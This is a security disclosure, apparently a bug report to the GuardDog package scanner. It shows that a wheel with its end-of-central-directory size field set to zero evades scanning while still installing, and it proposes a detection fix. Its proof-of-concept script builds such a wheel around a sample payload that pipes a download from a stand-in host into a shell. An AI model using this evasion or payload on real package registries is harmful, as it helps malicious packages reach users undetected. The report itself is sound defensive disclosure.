GuardDog fails to detect malicious code in malformed-but-installable archives (zipfile under-extraction)

[kamnowy]

What happens

GuardDog extracts a wheel/sdist with Python's zipfile/tarsafe and analyzes only the members those
parsers enumerate. A wheel whose only anomaly is the End-Of-Central-Directory field
size of central directory (cd_size) set to 0 is read as an empty archive by zipfile
(namelist() == []). GuardDog therefore extracts zero files, the Semgrep/metadata heuristics have
nothing to analyze, and it reports "Found 0 potentially malicious indicators" — even though the
wheel carries executable code that installers (which scan local file headers, not the EOCD) unpack
normally. Net effect: a malicious package can be crafted to pass GuardDog silently.

zipfile locates the central directory using cd_size (it reads exactly cd_size bytes), so
cd_size=0 ⇒ 0 entries ⇒ empty. Several other framings have the same effect (a trailing second EOCD
record with 0 entries; an EOCD cd_offset pointing at an empty central directory). The root cause is
trusting a single lenient parser without confirming it matches what an installer would extract.

Where

• guarddog/utils/archives.py — zipfile.ZipFile(...).infolist(); _check_compression_bomb() checks
  only upper bounds (max file count / size / ratio), no zero-file / parser-sanity check.
• guarddog/scanners/pypi_package_scanner.py — download_compressed(...) → return unzippedpath with
  no verification that any files were extracted; an empty extraction is treated as a clean package.

Reproduction (tested with guarddog + semgrep)

pip install guarddog semgrep
python3 - <<'PY'
import io, struct, binascii, base64, hashlib, csv, os
mal=(b"import base64, os\nexec(base64.b64decode('aW1wb3J0IG9z'))\nos.system('curl http://malicious.example/x.sh | sh')\n")
def build(cd=None):
    f={"evilpkg/__init__.py":mal,"evilpkg-1.0.dist-info/METADATA":b"Metadata-Version: 2.1\nName: evilpkg\nVersion: 1.0\n","evilpkg-1.0.dist-info/WHEEL":b"Wheel-Version: 1.0\nGenerator: poc\nRoot-Is-Purelib: true\nTag: py3-none-any\n"}
    r=io.StringIO(); w=csv.writer(r)
    for n,d in f.items():
        h=base64.urlsafe_b64encode(hashlib.sha256(d).digest()).rstrip(b"=").decode(); w.writerow([n,f"sha256={h}",len(d)])
    w.writerow(["evilpkg-1.0.dist-info/RECORD","",""]); f["evilpkg-1.0.dist-info/RECORD"]=r.getvalue().encode()
    blob=bytearray(); cd_=bytearray(); offs=[]
    for n,d in f.items():
        nb=n.encode(); c=binascii.crc32(d)&0xffffffff; offs.append(len(blob)); blob+=b"PK\x03\x04"+struct.pack("<HHHHHIIIHH",20,0,0,0,0x21,c,len(d),len(d),len(nb),0)+nb+d
    cds=len(blob)
    for (n,d),o in zip(f.items(),offs):
        nb=n.encode(); c=binascii.crc32(d)&0xffffffff; cd_+=b"PK\x01\x02"+struct.pack("<HHHHHHIIIHHHHHII",20,20,0,0,0,0x21,c,len(d),len(d),len(nb),0,0,0,0,(0o100644)<<16,o)+nb
    nn=len(f); sz=len(cd_) if cd is None else cd
    return bytes(blob)+bytes(cd_)+b"PK\x05\x06"+struct.pack("<HHHHIIH",0,0,nn,nn,sz,cds,0)
os.makedirs("normal",exist_ok=True); os.makedirs("crafted",exist_ok=True)
open("normal/evilpkg-1.0-py3-none-any.whl","wb").write(build())
open("crafted/evilpkg-1.0-py3-none-any.whl","wb").write(build(cd=0))
print("built normal + crafted (identical payload; crafted has cd_size=0)")
PY
guarddog pypi scan normal/evilpkg-1.0-py3-none-any.whl    # => Found 2 (code-execution, exec-base64)
guarddog pypi scan crafted/evilpkg-1.0-py3-none-any.whl   # => Found 0
python3 -c "import zipfile; print(zipfile.ZipFile('crafted/evilpkg-1.0-py3-none-any.whl').namelist())"  # => []

Suggested fix

After opening a wheel/zip, verify zipfile's view matches the archive's actual local file headers and
flag/abort on mismatch. Use a structural local-file-header walk (parse each header, skip its data —
not a naive PK\x03\x04 byte count, which false-positives on compressed bytes) to get an
installer-visible member count independent of the EOCD that zipfile trusts:

import struct, zipfile

def _zip_local_header_count(data: bytes) -> int:
    """Members visible by walking Local File Headers (independent of the EOCD / central directory)."""
    n = i = 0
    while i + 30 <= len(data) and data[i:i+4] == b"PK\x03\x04":
        flags = struct.unpack("<H", data[i+6:i+8])[0]
        csize = struct.unpack("<I", data[i+18:i+22])[0]
        nlen  = struct.unpack("<H", data[i+26:i+28])[0]
        elen  = struct.unpack("<H", data[i+28:i+30])[0]
        if flags & 0x08 and csize == 0:
            break                       # data descriptor w/o sizes: can't follow cheaply; bail
        i += 30 + nlen + elen + csize
        n += 1
    return n

def assert_zip_fully_enumerated(path: str) -> None:
    """Raise on EOCD parser-differential / under-extraction (e.g. cd_size=0)."""
    data = open(path, "rb").read()
    try:
        seen = len([z for z in zipfile.ZipFile(path).infolist() if not z.is_dir()])
    except zipfile.BadZipFile:
        return                          # unparseable: rejected elsewhere
    actual = _zip_local_header_count(data)
    if (actual > seen) or (actual > 0 and seen == 0):
        raise ValueError(
            f"archive parser anomaly: {actual} local file headers but zipfile enumerates {seen} "
            f"(possible scan evasion via EOCD cd_size/offset differential)"
        )

Call it from safe_extract() on the zip path. Tested: flags cd_size=0 (and the trailing-EOCD /
cd_offset framings) with 0 false positives on real wheels (six, packaging, rich — incl.
DEFLATE, 105 files reported as 105 == 105). For maximum robustness, mirror PyPI/Warehouse's
warehouse/utils/zipfiles.py::validate_zipfile (walks the records; rejects cd_size/cd_offset/
record-count mismatches, trailing data, data descriptors). Happy to open a PR.

References

Known ZIP parser-differential class — USENIX Security 2025, "My ZIP isn't your ZIP" :
https://www.usenix.org/system/files/usenixsecurity25-you.pdf